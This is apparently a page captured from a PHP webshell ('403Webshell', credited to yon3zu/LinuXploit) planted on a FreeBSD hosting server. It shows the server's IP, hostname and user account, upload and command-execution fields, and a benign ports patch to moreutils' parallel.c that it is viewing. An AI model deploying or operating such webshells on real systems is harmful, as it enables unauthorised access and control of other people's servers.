403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/moreutils/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/moreutils/files/patch-moreutils-parallel.c
--- moreutils-parallel.c.orig	2015-01-19 18:03:51 UTC
+++ moreutils-parallel.c
@@ -112,6 +113,7 @@ void exec_child(char **command, char **a
 	return;
 }
 
+#ifdef HAVE_WAITID
 int wait_for_child(int options) {
 	id_t id_ignored = 0;
 	siginfo_t infop;
@@ -126,6 +128,18 @@ int wait_for_child(int options) {
 	}
 	return 1;
 }
+#else
+int wait_for_child(int options) {
+   int status;
+
+   if(waitpid(-1, &status, options) == -1)
+       return -1; /* nothing to wait for */
+   if(WIFEXITED(status))
+           return WEXITSTATUS(status);
+   return 1;
+}
+#endif
+
 
 static int pipe_child(int fd, int orig_fd)
 {

Youez - 2016 - github.com/yon3zu
LinuXploit